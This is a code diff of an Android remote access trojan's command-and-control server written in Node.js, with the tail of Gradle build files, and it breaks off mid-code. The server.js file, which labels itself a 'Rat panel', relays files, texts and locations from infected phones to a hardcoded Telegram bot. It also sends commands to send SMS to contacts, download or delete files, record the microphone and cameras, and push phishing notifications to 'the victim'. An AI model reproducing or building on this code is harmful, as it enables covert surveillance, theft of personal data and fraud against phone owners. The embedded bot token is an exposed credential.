echo Please set the JAVA_HOME variable in your environment to match the
|
||||
echo location of your Java installation.
|
||||
|
||||
goto fail
|
||||
|
||||
:execute
|
||||
@rem Setup the command line
|
||||
|
||||
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||
|
||||
|
||||
@rem Execute Gradle
|
||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
||||
|
||||
:end
|
||||
@rem End local scope for the variables with windows NT shell
|
||||
if "%ERRORLEVEL%"=="0" goto mainEnd
|
||||
|
||||
:fail
|
||||
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||
rem the _cmd.exe /c_ return code!
|
||||
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
|
||||
exit /b 1
|
||||
|
||||
:mainEnd
|
||||
if "%OS%"=="Windows_NT" endlocal
|
||||
|
||||
:omega
|
16
source code/apk src code v3/settings.gradle
Normal file
@ -0,0 +1,16 @@
|
||||
pluginManagement {
|
||||
repositories {
|
||||
gradlePluginPortal()
|
||||
google()
|
||||
mavenCentral()
|
||||
}
|
||||
}
|
||||
dependencyResolutionManagement {
|
||||
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
}
|
||||
}
|
||||
rootProject.name = "Fiend"
|
||||
include ':app'
|
24
source code/server code v3/package.json
Normal file
@ -0,0 +1,24 @@
|
||||
{
|
||||
"name": "devil",
|
||||
"version": "2.0.0",
|
||||
"description": "",
|
||||
"main": "server.js",
|
||||
"engines": {
|
||||
"node": "16.13.2"
|
||||
},
|
||||
"scripts": {
|
||||
"start": "npm start"
|
||||
},
|
||||
"keywords": [],
|
||||
"author": "l",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"body-parser": "^1.19.1",
|
||||
"express": "latest",
|
||||
"multer": "^1.4.4",
|
||||
"node-telegram-bot-api": "latest",
|
||||
"uuid": "^8.3.2",
|
||||
"ws": "latest",
|
||||
"axios": "^0.26.1"
|
||||
}
|
||||
}
|
720
source code/server code v3/server.js
Normal file
@ -0,0 +1,720 @@
|
||||
const express = require('express');
|
||||
const webSocket = require('ws');
|
||||
const http = require('http')
|
||||
const telegramBot = require('node-telegram-bot-api')
|
||||
const uuid4 = require('uuid')
|
||||
const multer = require('multer');
|
||||
const bodyParser = require('body-parser')
|
||||
const axios = require("axios");
|
||||
|
||||
const token = '5376895931:AAGungqejutol8QIidI2tlJMkmCSUuAAY9w'
|
||||
const id = '5155109916'
|
||||
const address = 'https://www.google.com'
|
||||
|
||||
const app = express();
|
||||
const appServer = http.createServer(app);
|
||||
const appSocket = new webSocket.Server({server: appServer});
|
||||
const appBot = new telegramBot(token, {polling: true});
|
||||
const appClients = new Map()
|
||||
|
||||
const upload = multer();
|
||||
app.use(bodyParser.json());
|
||||
|
||||
let currentUuid = ''
|
||||
let currentNumber = ''
|
||||
let currentTitle = ''
|
||||
|
||||
app.get('/', function (req, res) {
|
||||
res.send('<h1 align="center">𝙎𝙚𝙧𝙫𝙚𝙧 𝙪𝙥𝙡𝙤𝙖𝙙𝙚𝙙 𝙨𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮</h1>')
|
||||
})
|
||||
|
||||
app.post("/uploadFile", upload.single('file'), (req, res) => {
|
||||
const name = req.file.originalname
|
||||
appBot.sendDocument(id, req.file.buffer, {
|
||||
caption: `°• 𝙈𝙚𝙨𝙨𝙖𝙜𝙚 𝙛𝙧𝙤𝙢 <b>${req.headers.model}</b> 𝙙𝙚𝙫𝙞𝙘𝙚`,
|
||||
parse_mode: "HTML"
|
||||
},
|
||||
{
|
||||
filename: name,
|
||||
contentType: 'application/txt',
|
||||
})
|
||||
res.send('')
|
||||
})
|
||||
app.post("/uploadText", (req, res) => {
|
||||
appBot.sendMessage(id, `°• 𝙈𝙚𝙨𝙨𝙖𝙜𝙚 𝙛𝙧𝙤𝙢 <b>${req.headers.model}</b> 𝙙𝙚𝙫𝙞𝙘𝙚\n\n` + req.body['text'], {parse_mode: "HTML"})
|
||||
res.send('')
|
||||
})
|
||||
app.post("/uploadLocation", (req, res) => {
|
||||
appBot.sendLocation(id, req.body['lat'], req.body['lon'])
|
||||
appBot.sendMessage(id, `°• 𝙇𝙤𝙘𝙖𝙩𝙞𝙤𝙣 𝙛𝙧𝙤𝙢 <b>${req.headers.model}</b> 𝙙𝙚𝙫𝙞𝙘𝙚`, {parse_mode: "HTML"})
|
||||
res.send('')
|
||||
})
|
||||
appSocket.on('connection', (ws, req) => {
|
||||
const uuid = uuid4.v4()
|
||||
const model = req.headers.model
|
||||
const battery = req.headers.battery
|
||||
const version = req.headers.version
|
||||
const brightness = req.headers.brightness
|
||||
const provider = req.headers.provider
|
||||
|
||||
ws.uuid = uuid
|
||||
appClients.set(uuid, {
|
||||
model: model,
|
||||
battery: battery,
|
||||
version: version,
|
||||
brightness: brightness,
|
||||
provider: provider
|
||||
})
|
||||
appBot.sendMessage(id,
|
||||
`°• 𝙉𝙚𝙬 𝙙𝙚𝙫𝙞𝙘𝙚 𝙘𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙\n\n` +
|
||||
`• ᴅᴇᴠɪᴄᴇ ᴍᴏᴅᴇʟ : <b>${model}</b>\n` +
|
||||
`• ʙᴀᴛᴛᴇʀʏ : <b>${battery}</b>\n` +
|
||||
`• ᴀɴᴅʀᴏɪᴅ ᴠᴇʀꜱɪᴏɴ : <b>${version}</b>\n` +
|
||||
`• ꜱᴄʀᴇᴇɴ ʙʀɪɢʜᴛɴᴇꜱꜱ : <b>${brightness}</b>\n` +
|
||||
`• ᴘʀᴏᴠɪᴅᴇʀ : <b>${provider}</b>`,
|
||||
{parse_mode: "HTML"}
|
||||
)
|
||||
ws.on('close', function () {
|
||||
appBot.sendMessage(id,
|
||||
`°• 𝘿𝙚𝙫𝙞𝙘𝙚 𝙙𝙞𝙨𝙘𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙\n\n` +
|
||||
`• ᴅᴇᴠɪᴄᴇ ᴍᴏᴅᴇʟ : <b>${model}</b>\n` +
|
||||
`• ʙᴀᴛᴛᴇʀʏ : <b>${battery}</b>\n` +
|
||||
`• ᴀɴᴅʀᴏɪᴅ ᴠᴇʀꜱɪᴏɴ : <b>${version}</b>\n` +
|
||||
`• ꜱᴄʀᴇᴇɴ ʙʀɪɢʜᴛɴᴇꜱꜱ : <b>${brightness}</b>\n` +
|
||||
`• ᴘʀᴏᴠɪᴅᴇʀ : <b>${provider}</b>`,
|
||||
{parse_mode: "HTML"}
|
||||
)
|
||||
appClients.delete(ws.uuid)
|
||||
})
|
||||
})
|
||||
appBot.on('message', (message) => {
|
||||
const chatId = message.chat.id;
|
||||
if (message.reply_to_message) {
|
||||
if (message.reply_to_message.text.includes('°• 𝙋𝙡𝙚𝙖𝙨𝙚 𝙧𝙚𝙥𝙡𝙮 𝙩𝙝𝙚 𝙣𝙪𝙢𝙗𝙚𝙧 𝙩𝙤 𝙬𝙝𝙞𝙘𝙝 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙝𝙚 𝙎𝙈𝙎')) {
|
||||
currentNumber = message.text
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙂𝙧𝙚𝙖𝙩, 𝙣𝙤𝙬 𝙚𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙤 𝙩𝙝𝙞𝙨 𝙣𝙪𝙢𝙗𝙚𝙧\n\n' +
|
||||
'• ʙᴇ ᴄᴀʀᴇꜰᴜʟ ᴛʜᴀᴛ ᴛʜᴇ ᴍᴇꜱꜱᴀɢᴇ ᴡɪʟʟ ɴᴏᴛ ʙᴇ ꜱᴇɴᴛ ɪꜰ ᴛʜᴇ ɴᴜᴍʙᴇʀ ᴏꜰ ᴄʜᴀʀᴀᴄᴛᴇʀꜱ ɪɴ ʏᴏᴜʀ ᴍᴇꜱꜱᴀɢᴇ ɪꜱ ᴍᴏʀᴇ ᴛʜᴀɴ ᴀʟʟᴏᴡᴇᴅ',
|
||||
{reply_markup: {force_reply: true}}
|
||||
)
|
||||
}
|
||||
if (message.reply_to_message.text.includes('°• 𝙂𝙧𝙚𝙖𝙩, 𝙣𝙤𝙬 𝙚𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙤 𝙩𝙝𝙞𝙨 𝙣𝙪𝙢𝙗𝙚𝙧')) {
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == currentUuid) {
|
||||
ws.send(`send_message:${currentNumber}/${message.text}`)
|
||||
}
|
||||
});
|
||||
currentNumber = ''
|
||||
currentUuid = ''
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙨𝙚𝙣𝙙 𝙩𝙤 𝙖𝙡𝙡 𝙘𝙤𝙣𝙩𝙖𝙘𝙩𝙨')) {
|
||||
const message_to_all = message.text
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == currentUuid) {
|
||||
ws.send(`send_message_to_all:${message_to_all}`)
|
||||
}
|
||||
});
|
||||
currentUuid = ''
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙥𝙖𝙩𝙝 𝙤𝙛 𝙩𝙝𝙚 𝙛𝙞𝙡𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙙𝙤𝙬𝙣𝙡𝙤𝙖𝙙')) {
|
||||
const path = message.text
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == currentUuid) {
|
||||
ws.send(`file:${path}`)
|
||||
}
|
||||
});
|
||||
currentUuid = ''
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙥𝙖𝙩𝙝 𝙤𝙛 𝙩𝙝𝙚 𝙛𝙞𝙡𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙙𝙚𝙡𝙚𝙩𝙚')) {
|
||||
const path = message.text
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == currentUuid) {
|
||||
ws.send(`delete_file:${path}`)
|
||||
}
|
||||
});
|
||||
currentUuid = ''
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙝𝙤𝙬 𝙡𝙤𝙣𝙜 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙝𝙚 𝙢𝙞𝙘𝙧𝙤𝙥𝙝𝙤𝙣𝙚 𝙩𝙤 𝙗𝙚 𝙧𝙚𝙘𝙤𝙧𝙙𝙚𝙙')) {
|
||||
const duration = message.text
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == currentUuid) {
|
||||
ws.send(`microphone:${duration}`)
|
||||
}
|
||||
});
|
||||
currentUuid = ''
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙝𝙤𝙬 𝙡𝙤𝙣𝙜 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙝𝙚 𝙢𝙖𝙞𝙣 𝙘𝙖𝙢𝙚𝙧𝙖 𝙩𝙤 𝙗𝙚 𝙧𝙚𝙘𝙤𝙧𝙙𝙚𝙙')) {
|
||||
const duration = message.text
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == currentUuid) {
|
||||
ws.send(`rec_camera_main:${duration}`)
|
||||
}
|
||||
});
|
||||
currentUuid = ''
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙝𝙤𝙬 𝙡𝙤𝙣𝙜 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙝𝙚 𝙨𝙚𝙡𝙛𝙞𝙚 𝙘𝙖𝙢𝙚𝙧𝙖 𝙩𝙤 𝙗𝙚 𝙧𝙚𝙘𝙤𝙧𝙙𝙚𝙙')) {
|
||||
const duration = message.text
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == currentUuid) {
|
||||
ws.send(`rec_camera_selfie:${duration}`)
|
||||
}
|
||||
});
|
||||
currentUuid = ''
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙩𝙝𝙖𝙩 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙖𝙥𝙥𝙚𝙖𝙧 𝙤𝙣 𝙩𝙝𝙚 𝙩𝙖𝙧𝙜𝙚𝙩 𝙙𝙚𝙫𝙞𝙘𝙚')) {
|
||||
const toastMessage = message.text
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == currentUuid) {
|
||||
ws.send(`toast:${toastMessage}`)
|
||||
}
|
||||
});
|
||||
currentUuid = ''
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙖𝙥𝙥𝙚𝙖𝙧 𝙖𝙨 𝙣𝙤𝙩𝙞𝙛𝙞𝙘𝙖𝙩𝙞𝙤𝙣')) {
|
||||
const notificationMessage = message.text
|
||||
currentTitle = notificationMessage
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙂𝙧𝙚𝙖𝙩, 𝙣𝙤𝙬 𝙚𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙡𝙞𝙣𝙠 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙗𝙚 𝙤𝙥𝙚𝙣𝙚𝙙 𝙗𝙮 𝙩𝙝𝙚 𝙣𝙤𝙩𝙞𝙛𝙞𝙘𝙖𝙩𝙞𝙤𝙣\n\n' +
|
||||
'• ᴡʜᴇɴ ᴛʜᴇ ᴠɪᴄᴛɪᴍ ᴄʟɪᴄᴋꜱ ᴏɴ ᴛʜᴇ ɴᴏᴛɪꜰɪᴄᴀᴛɪᴏɴ, ᴛʜᴇ ʟɪɴᴋ ʏᴏᴜ ᴀʀᴇ ᴇɴᴛᴇʀɪɴɢ ᴡɪʟʟ ʙᴇ ᴏᴘᴇɴᴇᴅ',
|
||||
{reply_markup: {force_reply: true}}
|
||||
)
|
||||
}
|
||||
if (message.reply_to_message.text.includes('°• 𝙂𝙧𝙚𝙖𝙩, 𝙣𝙤𝙬 𝙚𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙡𝙞𝙣𝙠 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙗𝙚 𝙤𝙥𝙚𝙣𝙚𝙙 𝙗𝙮 𝙩𝙝𝙚 𝙣𝙤𝙩𝙞𝙛𝙞𝙘𝙖𝙩𝙞𝙤𝙣')) {
|
||||
const link = message.text
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == currentUuid) {
|
||||
ws.send(`show_notification:${currentTitle}/${link}`)
|
||||
}
|
||||
});
|
||||
currentUuid = ''
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙖𝙪𝙙𝙞𝙤 𝙡𝙞𝙣𝙠 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙥𝙡𝙖𝙮')) {
|
||||
const audioLink = message.text
|
||||
appSocket.clients.forEach(function each(ws) {
|
||||
if (ws.uuid == currentUuid) {
|
||||
ws.send(`play_audio:${audioLink}`)
|
||||
}
|
||||
});
|
||||
currentUuid = ''
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
|
||||
'• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
}
|
||||
if (id == chatId) {
|
||||
if (message.text == '/start') {
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙒𝙚𝙡𝙘𝙤𝙢𝙚 𝙩𝙤 𝙍𝙖𝙩 𝙥𝙖𝙣𝙚𝙡\n\n' +
|
||||
'• ɪꜰ ᴛʜᴇ ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ɪꜱ ɪɴꜱᴛᴀʟʟᴇᴅ ᴏɴ ᴛʜᴇ ᴛᴀʀɢᴇᴛ ᴅᴇᴠɪᴄᴇ, ᴡᴀɪᴛ ꜰᴏʀ ᴛʜᴇ ᴄᴏɴɴᴇᴄᴛɪᴏɴ\n\n' +
|
||||
'• ᴡʜᴇɴ ʏᴏᴜ ʀᴇᴄᴇɪᴠᴇ ᴛʜᴇ ᴄᴏɴɴᴇᴄᴛɪᴏɴ ᴍᴇꜱꜱᴀɢᴇ, ɪᴛ ᴍᴇᴀɴꜱ ᴛʜᴀᴛ ᴛʜᴇ ᴛᴀʀɢᴇᴛ ᴅᴇᴠɪᴄᴇ ɪꜱ ᴄᴏɴɴᴇᴄᴛᴇᴅ ᴀɴᴅ ʀᴇᴀᴅʏ ᴛᴏ ʀᴇᴄᴇɪᴠᴇ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ\n\n' +
|
||||
'• ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ ʙᴜᴛᴛᴏɴ ᴀɴᴅ ꜱᴇʟᴇᴄᴛ ᴛʜᴇ ᴅᴇꜱɪʀᴇᴅ ᴅᴇᴠɪᴄᴇ ᴛʜᴇɴ ꜱᴇʟᴇᴄᴛ ᴛʜᴇ ᴅᴇꜱɪʀᴇᴅ ᴄᴏᴍᴍᴀɴᴅ ᴀᴍᴏɴɢ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅꜱ\n\n' +
|
||||
'• ɪꜰ ʏᴏᴜ ɢᴇᴛ ꜱᴛᴜᴄᴋ ꜱᴏᴍᴇᴡʜᴇʀᴇ ɪɴ ᴛʜᴇ ʙᴏᴛ, ꜱᴇɴᴅ /start ᴄᴏᴍᴍᴀɴᴅ',
|
||||
{
|
||||
parse_mode: "HTML",
|
||||
"reply_markup": {
|
||||
"keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
|
||||
'resize_keyboard': true
|
||||
}
|
||||
}
|
||||
)
|
||||
}
|
||||
if (message.text == '𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨') {
|
||||
if (appClients.size == 0) {
|
||||
appBot.sendMessage(id,
|
||||
'°• 𝙉𝙤 𝙘𝙤𝙣𝙣𝙚𝙘𝙩𝙞𝙣𝙜 𝙙𝙚𝙫𝙞𝙘𝙚𝙨 𝙖𝙫𝙖𝙞𝙡𝙖𝙗𝙡𝙚\n\n' +
|
||||
